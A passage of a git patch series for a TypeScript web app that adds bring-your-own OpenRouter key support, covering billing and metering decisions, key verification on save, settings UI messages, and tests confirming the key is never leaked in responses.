as const, response: new Response('data: [DONE]\n\n', { status: 200, headers: { 'content-type': 'text/event-stream' } }) })); const planeFetch = createPlaneInferenceFetch({ authority: authorityWith(requestInference), context }); const response = await planeFetch('https://openrouter.ai/api/v1/chat/completions', { method: 'POST', body, headers: { authorization: 'Bearer held-by-the-credential-plane' } }); expect({ status: response.status, text: await response.text(), call: requestInference.mock.calls[0]?.[0] }).toEqual({ diff --git a/apps/web/src/lib/ai/core/compaction/compaction-service.ts b/apps/web/src/lib/ai/core/compaction/compaction-service.ts index 8ef2851325..0206192a57 100644 --- a/apps/web/src/lib/ai/core/compaction/compaction-service.ts +++ b/apps/web/src/lib/ai/core/compaction/compaction-service.ts @@ -115,10 +115,17 @@ export async function runCompaction(params: RunCompactionParams): Promise } } + // BYOK (ADR 0009): a key may only ever be the FUNDER's. The provider is built for the turn's user, so it may + // decide on their key only when they are also who pays; recorded under anyone else (a manual Run's presser), + // the compaction stays managed. const providerResult = await createAIProvider(userId, { selectedProvider: provider, selectedModel: compactionModel, - }, { driveId: spendDriveId(spend) }); + }, { + driveId: spendDriveId(spend), + modelCall: { conversationId }, + ...(billedUserId === userId ? {} : { keySource: { source: 'managed' } as const }), + }); if (isProviderError(providerResult)) { console.warn('[compaction] provider unavailable:', providerResult.error); @@ -150,7 +157,8 @@ export async function runCompaction(params: RunCompactionParams): Promise // no charge, and the stored summary and pointer stay exactly as they were, so the // conversation keeps working from the context it already had. const admission = callAdmission({ - meteringExempt: isMeteringExempt(runProvider), + // On the person's own key there is nothing to reserve: no hold, no charge. + meteringExempt: isMeteringExempt(runProvider) || providerResult.keySource === 'user_key', spend, estCostCents: estimateChatHoldCentsForModel(runModel, { inputTokens: estimateTokens(JSON.stringify(transcriptMessages)) + (previousSummary ? estimateTokens(previousSummary) : 0), @@ -178,6 +186,7 @@ export async function runCompaction(params: RunCompactionParams): Promise settled = true; holdHandedOff = true; await AIMonitoring.trackUsage({ + keySource: providerResult.keySource, userId: billedUserId, provider: runProvider, model: runModel, diff --git a/apps/web/src/lib/ai/tools/__tests__/image-generation-tools.test.ts b/apps/web/src/lib/ai/tools/__tests__/image-generation-tools.test.ts index 22f149644d..754552a332 100644 --- a/apps/web/src/lib/ai/tools/__tests__/image-generation-tools.test.ts +++ b/apps/web/src/lib/ai/tools/__tests__/image-generation-tools.test.ts @@ -217,6 +217,13 @@ describe('generate_image destination', () => { expect(res.summary).toContain('Home workspace gallery'); }); + it('BYOK (ADR 0009) given the image runs on the person\'s own key, should reserve no credits and record keySource user_key', async () => { + okGeneration(); + createImageProvider.mockResolvedValueOnce({ client: IMAGE_CLIENT, provider: 'google', modelName: 'google/gemini-3.1-flash-image', keySource: 'user_key' }); + await run({ prompt: 'a diagram' }, { ...admin({}), ...inDrive('drive-work') }); + expect([canConsumeAI.mock.calls.length, trackUsage.mock.calls[0]?.[0]?.keySource, trackUsage.mock.calls[0]?.[0]?.holdId]).toEqual([0, 'user_key', undefined]); + }); + // An explicitly named destination must fail loudly rather than silently // redirecting to Home — and it must fail BEFORE any spend. it('POL-8 (partial) builds the image model through the provider factory for the turn\'s drive and the destination drive; a refusal reserves nothing and calls no model', async () => { @@ -225,7 +232,7 @@ describe('generate_image destination', () => { const res = (await run({ prompt: 'a diagram' }, { ...admin({ creditSpend }), ...inDrive('drive-work') })) as { success: boolean; error?: string }; - expect(createImageProvider).toHaveBeenCalledWith({ model: expect.any(String) }, { driveId: 'drive-work', contentDriveIds: ['drive-work'] }); + expect(createImageProvider).toHaveBeenCalledWith({ model: expect.any(String) }, expect.objectContaining({ driveId: 'drive-work', contentDriveIds: ['drive-work'], userId: expect.any(String) })); expect(res).toMatchObject({ success: false, error: expect.stringContaining("doesn't allow that AI model") }); expect(canConsumeAI).not.toHaveBeenCalled(); expect(generateImageBytes).not.toHaveBeenCalled(); diff --git a/apps/web/src/lib/ai/tools/agent-communication-tools.ts b/apps/web/src/lib/ai/tools/agent-communication-tools.ts index 9ab75c29bc..ba02dd16ab 100644 --- a/apps/web/src/lib/ai/tools/agent-communication-tools.ts +++ b/apps/web/src/lib/ai/tools/agent-communication-tools.ts @@ -52,7 +52,12 @@ const MAX_AGENT_DEPTH = 2; * Get configured AI model for agent using the centralized provider factory * Handles provider-specific setup and fallbacks */ -async function getConfiguredModel(userId: string, agentConfig: { aiProvider?: string | null; aiModel?: string | null; driveId: string }, spend: SpendTarget) { +async function getConfiguredModel( + userId: string, + agentConfig: { aiProvider?: string | null; aiModel?: string | null; driveId: string }, + spend: SpendTarget, + byok: { billedUserId: string; modelCall: { sessionId: string | null; conversationId: string } }, +) { const { aiProvider, aiModel } = agentConfig; // Use default provider/model if agent doesn't have specific configuration @@ -66,7 +71,14 @@ async function getConfiguredModel(userId: string, agentConfig: { aiProvider?: st // POL-8: the org of the drive this call runs in (its spend drive; none for personal spend) AND the org of the // consulted agent's own drive, whose content (its prompt, its pages) reaches the model whoever calls. - const providerResult = await createAIProvider(userId, providerRequest, { driveId: spendDriveId(spend), contentDriveIds: [agentConfig.driveId] }); + // BYOK (ADR 0009): a key may only ever be the FUNDER's. The factory decides on the caller's key only when the + // caller is also who pays; a consult funded by someone else (a manual Run's presser) stays managed. + const providerResult = await createAIProvider(userId, providerRequest, { + driveId: spendDriveId(spend), + contentDriveIds: [agentConfig.driveId], + modelCall: byok.modelCall, + ...(byok.billedUserId === userId ? {} : { keySource: { source: 'managed' } as const }), + }); if (isProviderError(providerResult)) { throw new Error(providerResult.error); @@ -717,12 +729,20 @@ export async function executeAskAgent( systemPrompt += `\n\nYou are being consulted by another agent or user${executionContext?.locationContext?.currentPage?.title ? ` (${executionContext.locationContext.currentPage.title})` : ''}. This is a persistent conversation - you have access to the full conversation history. Respond helpfully based on your expertise and the conversation context.`; // 8. Get configured model for agent + // The consumer the turn's gate bound (a manual Run's presser), else the caller (review #2817 P2-3): + // the one person who funds this consult, whose own model key may pay for it (ADR 0009). + const billedUserId = executionContext?.creditSpend?.userId ?? userId; const providerResult = await getConfiguredModel(userId, { aiProvider: targetAgent.aiProvider, aiModel: targetAgent.aiModel, driveId: targetAgent.driveId, - }, executionContext?.creditSpend?.spend ?? PERSONAL_SPEND); + }, executionContext?.creditSpend?.spend ?? PERSONAL_SPEND, { + billedUserId, + modelCall: { sessionId: executionContext?.authSessionId ?? null, conversationId: activeConversationId }, + }); const { model, provider: resolvedProvider, modelName: resolvedModelName } = providerResult; + // BYOK: the factory's decision drives the gate and billing below — no hold, no charge on the person's key. + const askKeySource = providerResult.keySource ?? 'managed'; // 9. Filter tools for agent. Nested calls inherit the top-level caller's MCP // drive scope via nestedContext below, so a scoped token must not be able to @@ -855,10 +875,9 @@ export async function executeAskAgent( // resolved (a follow-on target: that source or a refusal by name, never a fallback of its own; // a mention's drive wallet; personal with no gated caller) and settles that hold. A wallet // that cannot cover it refuses the consultation and charges nothing. - const billedUserId = executionContext?.creditSpend?.userId ?? userId; const askSpend = executionContext?.creditSpend?.spend ?? PERSONAL_SPEND; const admission = callAdmission({ - meteringExempt: isMeteringExempt(resolvedProvider), + meteringExempt: isMeteringExempt(resolvedProvider) || askKeySource === 'user_key', spend: askSpend, estCostCents: estimateChatHoldCentsForModel(resolvedModelName), }); @@ -938,6 +957,7 @@ export async function executeAskAgent( // it runs in, not the drive the agent lives in); a flat-rate provider takes no hold and // settles nothing. await AIMonitoring.trackUsage({ + keySource: askKeySource, // The consumer the turn's gate bound (a manual Run's presser), else the caller (review #2817 P2-3). userId: billedUserId, provider: resolvedProvider, diff --git a/apps/web/src/lib/channels/__tests__/agent-mention-responder.test.ts b/apps/web/src/lib/channels/__tests__/agent-mention-responder.test.ts index fe7d4ec55b..4624d4d4ae 100644 --- a/apps/web/src/lib/channels/__tests__/agent-mention-responder.test.ts +++ b/apps/web/src/lib/channels/__tests__/agent-mention-responder.test.ts @@ -227,7 +227,8 @@ describe('agent-mention-responder', () => { await triggerMentionedAgentResponses({ ...baseParams, content: 'Thoughts? @[Budget Agent](agent-1:page)' }); - expect(mockAcquireMentionCreditHold).toHaveBeenCalledWith({ userId: 'user-1', driveId: 'drive-1' }); + // BYOK (ADR 0009): the gate is told the provider the reply runs and the agent's drive, so it decides whose key pays. + expect(mockAcquireMentionCreditHold).toHaveBeenCalledWith({ userId: 'user-1', driveId: 'drive-1', keyScope: { provider: expect.any(String), agentDriveId: null } }); expect(mockAcquireMentionCreditHold.mock.invocationCallOrder[0]).toBeLessThan(mockAskAgentExecute.mock.invocationCallOrder[0]); const askContext = mockAskAgentExecute.mock.calls[0][1].experimental_context; expect(askContext.creditSpend).toEqual({ spend: { kind: 'automation', driveId: 'drive-1' }, walletId: 'w-drive-1' }); diff --git a/apps/web/src/lib/channels/agent-mention-responder.ts b/apps/web/src/lib/channels/agent-mention-responder.ts index 04579620e3..86eef3dd92 100644 --- a/apps/web/src/lib/channels/agent-mention-responder.ts +++ b/apps/web/src/lib/channels/agent-mention-responder.ts @@ -59,6 +59,8 @@ export interface MentionedAgent { hasVision: boolean; /** POL-8: the provider and model this agent's reply will run (its configured pair, else the default). */ runModel: AgentRunModel; + /** The drive the agent page lives in (its content reaches the model): part of the BYOK key decision. */ + driveId?: string | null; } export interface RecentChannelMessage { @@ -229,6 +231,7 @@ export async function resolveMentionedAgents(content: string): Promise; @@ -34,17 +36,34 @@ export type MentionCreditHold = export async function acquireMentionCreditHold(input: { userId: string; driveId: string | null | undefined; + /** + * BYOK (ADR 0009): the provider the reply will run and the drive the agent lives in — the same scope + * ask_agent's provider factory decides on. On the sender's own OpenRouter key the reply reserves nothing + * (ask_agent then takes no hold of its own either, and never charges). Absent: gated as before. + */ + keyScope?: { provider: string; agentDriveId?: string | null }; }): Promise { // A mention outside any drive has no drive wallet, and a person-less reply never falls // back to a person: nothing to spend, so nothing runs. if (!input.driveId) return { allowed: false, error: 'AI credit gate denied: no drive to spend' }; + const spend = personTriggeredSpend(input.driveId); + if (input.keyScope) { + const keyDecision = await resolveModelKeySource({ + userId: input.userId, + provider: input.keyScope.provider, + driveId: input.driveId, + contentDriveIds: input.keyScope.agentDriveId ? [input.keyScope.agentDriveId] : [], + }); + if (keyDecision.source === 'refused') return { allowed: false, error: BYOK_UNAVAILABLE_MESSAGE }; + if (keyDecision.source === 'user_key') return { allowed: true, creditSpend: { spend }, release: () => {} }; + } + const [sender] = await db .select({ subscriptionTier: users.subscriptionTier }) .from(users) .where(eq(users.id, input.userId)); - const spend = personTriggeredSpend(input.driveId); const gate = await canConsumeAI( input.userId, toPersonalSubscriptionTier(sender?.subscriptionTier), diff --git a/apps/web/src/lib/integrations/zoom/extract-action-items.ts b/apps/web/src/lib/integrations/zoom/extract-action-items.ts index 2735fd35a8..0c9bf80b54 100644 --- a/apps/web/src/lib/integrations/zoom/extract-action-items.ts +++ b/apps/web/src/lib/integrations/zoom/extract-action-items.ts @@ -21,7 +21,11 @@ export async function extractActionItems( billing: { driveId: string; userId: string; walletId?: string; automationRef?: string }, ): Promise { try { - const provider = await createAIProvider(userId, {}, { driveId: billing.driveId }); + // BYOK (ADR 0009): the key may only be the billed person's; recorded under anyone else, the call stays managed. + const provider = await createAIProvider(userId, {}, { + driveId: billing.driveId, + ...(billing.userId === userId ? {} : { keySource: { source: 'managed' } as const }), + }); if (isProviderError(provider)) { loggers.api.warn('Zoom action items: AI provider unavailable', { userId, error: provider.error }); return []; @@ -35,6 +39,7 @@ export async function extractActionItems( }); discardUsageOutcome(AIMonitoring.trackUsage({ + keySource: provider.keySource, userId: billing.userId, provider: provider.provider, model: provider.modelName, diff --git a/apps/web/src/lib/integrations/zoom/generate-summary.ts b/apps/web/src/lib/integrations/zoom/generate-summary.ts index fb6e440951..ece45f9897 100644 --- a/apps/web/src/lib/integrations/zoom/generate-summary.ts +++ b/apps/web/src/lib/integrations/zoom/generate-summary.ts @@ -17,7 +17,11 @@ export async function generateTranscriptSummary( billing: { driveId: string; userId: string; walletId?: string; automationRef?: string }, ): Promise { try { - const provider = await createAIProvider(userId, {}, { driveId: billing.driveId }); + // BYOK (ADR 0009): the key may only be the billed person's; recorded under anyone else, the call stays managed. + const provider = await createAIProvider(userId, {}, { + driveId: billing.driveId, + ...(billing.userId === userId ? {} : { keySource: { source: 'managed' } as const }), + }); if (isProviderError(provider)) { loggers.api.warn('Zoom summary: AI provider unavailable', { userId, error: provider.error }); return ''; @@ -31,6 +35,7 @@ export async function generateTranscriptSummary( }); discardUsageOutcome(AIMonitoring.trackUsage({ + keySource: provider.keySource, userId: billing.userId, provider: provider.provider, model: provider.modelName, diff --git a/apps/web/src/lib/memory/compaction-service.ts b/apps/web/src/lib/memory/compaction-service.ts index 75ad97f5c0..3a92f628d0 100644 --- a/apps/web/src/lib/memory/compaction-service.ts +++ b/apps/web/src/lib/memory/compaction-service.ts @@ -118,6 +118,7 @@ export async function compactField( const reservation = await reserveMemoryCall(userId, { provider: providerResult.provider, model: providerResult.modelName, + keySource: providerResult.keySource, inputChars: content.length, }); if (!reservation.allowed) { @@ -152,6 +153,7 @@ Compact this by deleting anything that does not change AI behaviour. Output only // Settles the reservation once (trackUsage takes the hold). discardUsageOutcome(AIMonitoring.trackUsage({ + keySource: providerResult.keySource, userId, provider: providerResult.provider, model: providerResult.modelName, diff --git a/apps/web/src/lib/memory/discovery-service.ts b/apps/web/src/lib/memory/discovery-service.ts index c93724232d..cf6290b09e 100644 --- a/apps/web/src/lib/memory/discovery-service.ts +++ b/apps/web/src/lib/memory/discovery-service.ts @@ -361,6 +361,7 @@ async function runDiscoveryPass( const reservation = await reserveMemoryCall(userId, { provider: providerResult.provider, model: providerResult.modelName, + keySource: providerResult.keySource, inputChars: systemPrompt.length + conversationContext.length, }); if (!reservation.allowed) { @@ -388,6 +389,7 @@ async function runDiscoveryPass( // Settles the reservation once (trackUsage takes the hold). discardUsageOutcome(AIMonitoring.trackUsage({ + keySource: providerResult.keySource, userId, provider: providerResult.provider, model: providerResult.modelName, diff --git a/apps/web/src/lib/memory/integration-service.ts b/apps/web/src/lib/memory/integration-service.ts index b4c50c4ead..3ed32145af 100644 --- a/apps/web/src/lib/memory/integration-service.ts +++ b/apps/web/src/lib/memory/integration-service.ts @@ -345,6 +345,7 @@ Return JSON with the full new content for each field that should change. Use nul const reservation = await reserveMemoryCall(userId, { provider: providerResult.provider, model: providerResult.modelName, + keySource: providerResult.keySource, inputChars: EVALUATOR_SYSTEM_PROMPT.length + userPrompt.length, }); if (!reservation.allowed) { @@ -365,6 +366,7 @@ Return JSON with the full new content for each field that should change. Use nul // Settles the reservation once (trackUsage takes the hold). discardUsageOutcome(AIMonitoring.trackUsage({ + keySource: providerResult.keySource, userId, provider: providerResult.provider, model: providerResult.modelName, diff --git a/apps/web/src/lib/memory/memory-credit.ts b/apps/web/src/lib/memory/memory-credit.ts index 45cf4f204d..2b5c1ca006 100644 --- a/apps/web/src/lib/memory/memory-credit.ts +++ b/apps/web/src/lib/memory/memory-credit.ts @@ -47,7 +47,13 @@ const CHARS_PER_TOKEN = 4; export async function reserveMemoryCall( userId: string, - call: { provider: string; model: string; inputChars: number }, + call: { + provider: string; + model: string; + inputChars: number; + /** BYOK (ADR 0009): the call runs on the person's own OpenRouter key, so it reserves nothing. */ + keySource?: 'managed' | 'user_key'; + }, ): Promise { let holdId: string | undefined; let walletId: string | undefined; @@ -61,7 +67,7 @@ export async function reserveMemoryCall( } const admission = callAdmission({ - meteringExempt: isMeteringExempt(call.provider), + meteringExempt: isMeteringExempt(call.provider) || call.keySource === 'user_key', spend: PERSONAL_SPEND, estCostCents: estimateChatHoldCentsForModel(call.model, { inputTokens: Math.ceil(call.inputChars / CHARS_PER_TOKEN) }), }); diff --git a/apps/web/src/lib/workflows/workflow-executor.ts b/apps/web/src/lib/workflows/workflow-executor.ts index b8c9ca574b..13f0e3a60e 100644 --- a/apps/web/src/lib/workflows/workflow-executor.ts +++ b/apps/web/src/lib/workflows/workflow-executor.ts @@ -763,7 +763,14 @@ async function runExecution( selectedModel, }; - const providerResult = await createAIProvider(input.createdBy, providerRequest, { driveId: input.driveId }); + // BYOK (ADR 0009): a key may only ever be the FUNDER's. The factory decides on the creator's key only when the + // creator is also who the run is billed to (an org drive's run is managed regardless); a manual Run pressed by + // someone else stays managed. + const billedUserId = input.creditSpend.userId ?? input.createdBy; + const providerResult = await createAIProvider(input.createdBy, providerRequest, { + driveId: input.driveId, + ...(billedUserId === input.createdBy ? {} : { keySource: { source: 'managed' } as const }), + }); if (isProviderError(providerResult)) { return { success: false, durationMs: Date.now() - startTime, error: `AI provider error: ${providerResult.error}` }; @@ -1061,6 +1068,7 @@ async function runExecution( // (HIST-03, #2736) — the same contract the consult route settles on. const usage = result.totalUsage; await AIMonitoring.trackUsage({ + keySource: providerResult.keySource, // Counted as the consumer the run's gate bound: a manual Run's presser, else the creator (review #2817 P2-3). userId: input.creditSpend.userId ?? input.createdBy, provider: providerResult.provider, From d143c197bb6568a47dbbe654ea6cb824b78db902 Mon Sep 17 00:00:00 2001 From: 2witstudios <2witstudios@gmail.com> Date: Sun, 29 Nov 2026 20:18:17 -0600 Subject: [PATCH 09/35] feat(byok): check a key with OpenRouter when it is added, through the plane (BYOK-9) The inference executor gains one more pinned, read-only call: GET https://openrouter.ai/api/v1/key (openrouter.key_info, class read, bodiless), chosen by the digested call and covered by the same scope. setModelKey runs it right after storing the key and BEFORE retiring the previous one: a key OpenRouter rejects (401/403) is revoked at once (key_rejected) and a working key is never replaced by a mistyped one; when the check cannot run the key is kept and the person is told it is unverified. Co-Authored-By: Claude Opus 5.5 Claude-Session: https://claude.ai/code/session_01QyQdJ3GsonBXCUfPUhaSNR --- .../user/model-key/__tests__/route.test.ts | 6 + apps/web/src/app/api/user/model-key/route.ts | 4 +- apps/web/src/app/settings/ai/ModelKeyCard.tsx | 6 +- ...tp-executor-end-to-end.integration.test.ts | 15 +++ .../account-authority-executor.ts | 116 ++++++++++-------- packages/lib/src/agent-accounts/authorize.ts | 6 +- .../src/agent-accounts/canonical-request.ts | 2 +- .../__tests__/inference-executor.test.ts | 12 +- .../executor/inference-executor.ts | 35 +++--- .../executor/plane-http-adapter.ts | 1 + .../src/agent-accounts/executor/plane-wire.ts | 7 +- .../inference/__tests__/model-key.test.ts | 18 +++ .../src/agent-accounts/inference/model-key.ts | 20 ++- 13 files changed, 171 insertions(+), 77 deletions(-) diff --git a/apps/web/src/app/api/user/model-key/__tests__/route.test.ts b/apps/web/src/app/api/user/model-key/__tests__/route.test.ts index a12e6eb3a3..361bc01d00 100644 --- a/apps/web/src/app/api/user/model-key/__tests__/route.test.ts +++ b/apps/web/src/app/api/user/model-key/__tests__/route.test.ts @@ -68,6 +68,12 @@ describe('PUT /api/user/model-key', () => { expect((await PUT(req('PUT', { apiKey: CANARY }))).status).toBe(503); }); + it('given a key OpenRouter rejects, should answer 400 key_rejected', async () => { + mockAuthority.setModelKey.mockResolvedValue({ ok: false, reason: 'key_rejected' }); + const response = await PUT(req('PUT', { apiKey: CANARY })); + expect([response.status, (await response.json()).error]).toEqual([400, 'key_rejected']); + }); + it('given a refusal, should name the reason and never the key', async () => { mockAuthority.setModelKey.mockResolvedValue({ ok: false, reason: 'key_invalid' }); const response = await PUT(req('PUT', { apiKey: CANARY })); diff --git a/apps/web/src/app/api/user/model-key/route.ts b/apps/web/src/app/api/user/model-key/route.ts index e332a288cd..15bf340c2d 100644 --- a/apps/web/src/app/api/user/model-key/route.ts +++ b/apps/web/src/app/api/user/model-key/route.ts @@ -55,9 +55,9 @@ export async function PUT(request: Request) { try { const result = await authority.setModelKey({ actor: actorFromAuth(auth), apiKey: parsed.data.apiKey }); - if (!result.ok) return NextResponse.json({ error: result.reason }, { status: result.reason === 'key_invalid' ? 400 : 503 }); + if (!result.ok) return NextResponse.json({ error: result.reason }, { status: result.reason === 'key_invalid' || result.reason === 'key_rejected' ? 400 : 503 }); auditRequest(request, { eventType: 'auth.token.created', userId: auth.userId, resourceType: 'agent_account', resourceId: result.account?.id ?? 'model_key' }); - return NextResponse.json({ key: shownKey(result.account) }, { status: 201 }); + return NextResponse.json({ key: shownKey(result.account), verified: result.verified ?? false }, { status: 201 }); } catch (error) { loggers.api.error('Error storing model key', error as Error); return NextResponse.json({ error: 'Failed to store model key' }, { status: 500 }); diff --git a/apps/web/src/app/settings/ai/ModelKeyCard.tsx b/apps/web/src/app/settings/ai/ModelKeyCard.tsx index a8e2e04bfe..b8b05a7d7b 100644 --- a/apps/web/src/app/settings/ai/ModelKeyCard.tsx +++ b/apps/web/src/app/settings/ai/ModelKeyCard.tsx @@ -21,6 +21,7 @@ type ModelKeyState = { readonly enabled: boolean; readonly available: boolean; r const ERROR_COPY: Record = { key_invalid: 'That does not look like an OpenRouter key. It starts with "sk-or-".', + key_rejected: 'OpenRouter did not accept that key. Check it and try again. Your previous key, if any, is unchanged.', not_enabled: 'Bringing your own key is not switched on for your account.', not_configured: 'This deployment cannot store keys right now.', plane_unavailable: 'Your key could not be stored right now. Try again in a moment.', @@ -65,10 +66,11 @@ export function ModelKeyCard() { async function save() { setSaving(true); try { - const result = await put<{ key: ShownKey }>('/api/user/model-key', { apiKey: draft }); + const result = await put<{ key: ShownKey; verified: boolean }>('/api/user/model-key', { apiKey: draft }); setState((current) => (current === null ? current : { ...current, key: result.key })); setDraft(''); - toast.success('Your OpenRouter key is saved. Your model calls now run on it.'); + if (result.verified) toast.success('OpenRouter accepted your key. Your model calls now run on it.'); + else toast.warning('Your key is saved, but OpenRouter could not be reached to check it. If it is wrong, your next chat will say so.'); } catch (error) { const reason = error instanceof ApiRequestError ? (error.body as { error?: string } | undefined)?.error : undefined; toast.error(ERROR_COPY[reason ?? ''] ?? 'Your key could not be saved.'); diff --git a/packages/lib/src/agent-accounts/__tests__/adversarial/http-executor-end-to-end.integration.test.ts b/packages/lib/src/agent-accounts/__tests__/adversarial/http-executor-end-to-end.integration.test.ts index 7afd4ee35d..37c2fe2bf5 100644 --- a/packages/lib/src/agent-accounts/__tests__/adversarial/http-executor-end-to-end.integration.test.ts +++ b/packages/lib/src/agent-accounts/__tests__/adversarial/http-executor-end-to-end.integration.test.ts @@ -160,6 +160,12 @@ function startUpstream(): Promise { }); return; } + if (req.url === '/api/v1/key' && req.method === 'GET') { + // OpenRouter's key check: only the person's real key is accepted. + const ok = req.headers.authorization === `Bearer ${MODEL_KEY}`; + res.writeHead(ok ? 200 : 401, { 'content-type': 'application/json' }); + return res.end(ok ? '{"data":{"label":"e2e"}}' : '{"error":{"message":"User not found.","code":401}}'); + } if (req.url === '/api/v1/chat/completions' && req.method === 'POST') { // OpenRouter, as the inference executor reaches it: the person's key as a bearer token, and a stream that echoes it. if (req.headers.authorization !== `Bearer ${MODEL_KEY}`) { @@ -1038,6 +1044,9 @@ describe.skipIf(!ADMIN_TOKEN)('adversarial: the G2 thin slice end to end (real p it('given a person adds their own OpenRouter key, should store it write-only, stream a model call through the plane on it with the key scrubbed, and stop once it is removed', async () => { const authority = authorityOver(await startPlane()); const owner = credentialActor(OWNER, null); + // A key OpenRouter rejects is revoked at once and never becomes the person's key. + const rejected = await authority.setModelKey({ actor: owner, apiKey: `sk-or-v1-${randomBytes(20).toString('hex')}` }); + const afterRejected = await authority.getModelKey({ actor: owner }); const set = await authority.setModelKey({ actor: owner, apiKey: MODEL_KEY }); if (!set.ok) throw new Error(set.reason); const shown = seen(await authority.getModelKey({ actor: owner })); @@ -1054,6 +1063,9 @@ describe.skipIf(!ADMIN_TOKEN)('adversarial: the G2 thin slice end to end (real p await authority.removeModelKey({ actor: owner }); const afterRemove = await authority.requestInference({ caller: { ...inferenceCaller, runId: `${RUN}_inf3` as RunId }, body }); expect({ + rejected: rejected.ok ? 'stored' : rejected.reason, + afterRejected, + verified: set.verified, shown: shown?.providerSlug, listed: (listed ?? []).some((account) => account.providerSlug === 'openrouter-model-key'), status: live.response.status, @@ -1063,6 +1075,9 @@ describe.skipIf(!ADMIN_TOKEN)('adversarial: the G2 thin slice end to end (real p afterRemove: afterRemove.ok ? 'streamed' : afterRemove.reason, leaks: [streamed, unattendedText].filter((text) => typeof text === 'string' && text.includes(MODEL_KEY)).length, }).toEqual({ + rejected: 'key_rejected', + afterRejected: null, + verified: true, shown: 'openrouter-model-key', listed: false, status: 200, diff --git a/packages/lib/src/agent-accounts/account-authority-executor.ts b/packages/lib/src/agent-accounts/account-authority-executor.ts index 42720200c2..6e6d0ad298 100644 --- a/packages/lib/src/agent-accounts/account-authority-executor.ts +++ b/packages/lib/src/agent-accounts/account-authority-executor.ts @@ -52,7 +52,7 @@ import { decideGoogleEnrollment, type GoogleEnrollmentInput, type GoogleEnrollme import type { PlaneOAuthExchangeResult, PlaneSshHostKeyResult } from './executor/plane-wire'; import type { SshExecutionResult } from './executor/decide-ssh-result'; import { authorizeSsh, authorizeInference } from './authorize'; -import { decideModelKeyInput, INFERENCE_ORIGIN, isModelKeyAccount, MODEL_KEY_ACCOUNT_NAME, MODEL_KEY_DELEGATION_TTL_MS, MODEL_KEY_PLACEMENT, MODEL_KEY_PROVIDER_SLUG, MODEL_KEY_SCOPE, modelKeyApprovalPolicy } from './inference/model-key'; +import { decideModelKeyInput, type InferenceCall, INFERENCE_ORIGIN, isModelKeyAccount, MODEL_KEY_ACCOUNT_NAME, MODEL_KEY_DELEGATION_TTL_MS, MODEL_KEY_PLACEMENT, MODEL_KEY_PROVIDER_SLUG, MODEL_KEY_SCOPE, modelKeyApprovalPolicy } from './inference/model-key'; import { decideSshAccount, type SshAccountInput, type SshAccountVerdict } from './ssh/decide-ssh-account'; import { normalizeSshTarget, sshTargetOf } from './ssh/ssh-command'; import type { ReleasedResponse } from './filter-response'; @@ -181,8 +181,10 @@ export type InferenceRefusal = { }; export type ModelKeyChangeResult = - | { readonly ok: true; readonly account: SafeAccount | null } - | { readonly ok: false; readonly reason: 'key_invalid' | 'plane_unavailable' | 'store_refused' }; + /** `verified`: OpenRouter accepted the key when it was added; false when the check could not run (the key is kept). */ + | { readonly ok: true; readonly account: SafeAccount | null; readonly verified?: boolean } + /** `key_rejected`: OpenRouter refused the key; it was revoked at once and the previous key, if any, kept. */ + | { readonly ok: false; readonly reason: 'key_invalid' | 'key_rejected' | 'plane_unavailable' | 'store_refused' }; export type AccountAuthority = { /** The person's active model key, as safe metadata (never the key); null when they have none. */ @@ -192,7 +194,7 @@ export type AccountAuthority = { /** Revoke the person's model key; their calls go back to PageSpace's key. */ readonly removeModelKey: (input: { readonly actor: AccessActor }) => Promise; /** One model call on the person's own key, streamed through the plane's inference executor. */ - readonly requestInference: (input: { readonly caller: InferenceCaller; readonly body: string; readonly signal?: AbortSignal }) => Promise<{ readonly ok: true; readonly response: Response } | InferenceRefusal>; + readonly requestInference: (input: { readonly caller: InferenceCaller; readonly body: string; readonly call?: InferenceCall; readonly signal?: AbortSignal }) => Promise<{ readonly ok: true; readonly response: Response } | InferenceRefusal>; readonly createAccount: (input: { readonly actor: AccessActor; readonly owner: AccountOwnerTarget; readonly input: CreateAccountInput }) => Promise; /** `allowedDriveIds`: the caller's credential ceiling (`[]` = none); accounts outside it are not listed. */ readonly listAccounts: (input: { readonly actor: AccessActor; readonly owner: AccountOwnerTarget; readonly allowedDriveIds?: readonly string[] }) => Promise; @@ -464,6 +466,53 @@ export function createAccountAuthority(input: AccountAuthorityDeps): AccountAuth return (await deps.accounts.markRevoked({ id: row.id, at: deps.now() })) !== null; } + /** One model call (or the key check) on the person's own key: see `AccountAuthority.requestInference`. */ + async function inference({ caller, body, call = 'chat', signal }: Parameters[0]): ReturnType { + const now = deps.now(); + const [row] = await activeModelKeys(caller.userId); + if (row === undefined) return { ok: false, reason: 'no_model_key' }; + const delegation: DelegationFact = + caller.sessionId !== null ? { kind: 'none' } : ((await deps.accounts.activeDelegation({ accountId: row.id, agentPageId: null, delegatedByUserId: caller.userId, now })) ?? { kind: 'none' }); + const counted = await deps.plane.usage({ ref: refOf(row) }); + const usage: UsageCounters = counted.ok ? { usesThisHour: counted.usesThisHour, bytesOutThisHour: counted.bytesOutThisHour, concurrent: counted.concurrent } : ZERO_USAGE; + const verdict = authorizeInference({ + caller: { + actorUserId: caller.userId, + actingHumanUserId: caller.userId, + sessionId: caller.sessionId, + conversationId: caller.conversationId, + runId: caller.runId, + // The key is the person's own and pays for their calls; a drive-scoped token limits drive access, not whose key runs. + callerCeiling: { allowedDriveIds: [], originatingMcpTokenId: null }, + }, + account: row, + facts: { humanDriveRole: null, agentPagePermission: 'none', agentBoundToAccount: false, boundAgentPageIds: [], delegation, ceilingAdmitsAccount: true }, + body, + call, + sha256: deps.sha256, + approvals: [], + usage, + presenter: { keyId: deps.presenterKeyId, channel: 'inference-executor' }, + now, + grantId: newId() as GrantId, + nonce: newId() as Nonce, + ttlMs: GRANT_TTL_MS, + hash: deps.hash, + }); + if (!verdict.ok) { + if (verdict.reason === 'limits_exceeded') return { ok: false, reason: 'limits_exceeded' }; + if (verdict.reason === 'request_refused') return { ok: false, reason: 'request_refused' }; + // Anything else (no delegation, a policy that no longer covers it) means the key cannot be used as stored. + return { ok: false, reason: 'no_model_key' }; + } + const signature = signGrant({ grant: verdict.grant, key: deps.authorityKey }); + const started = await deps.plane.inferStream( + { grant: verdict.grant, signature, body, call, run: { human: verdict.grant.human, agentPageId: null, conversationId: verdict.grant.conversationId, runId: verdict.grant.runId } }, + { signal }, + ); + return started.ok ? started : { ok: false, reason: started.reason }; + } + return { async getModelKey({ actor }) { const [newest] = await activeModelKeys(actor.userId); @@ -502,9 +551,19 @@ export function createAccountAuthority(input: AccountAuthorityDeps): AccountAuth await deps.accounts.setCredentialVersion({ id: row.id, version: put.version }); // The person's standing consent for their unattended runs (workflows, crons, agent-to-agent): model calls only, on OpenRouter only. 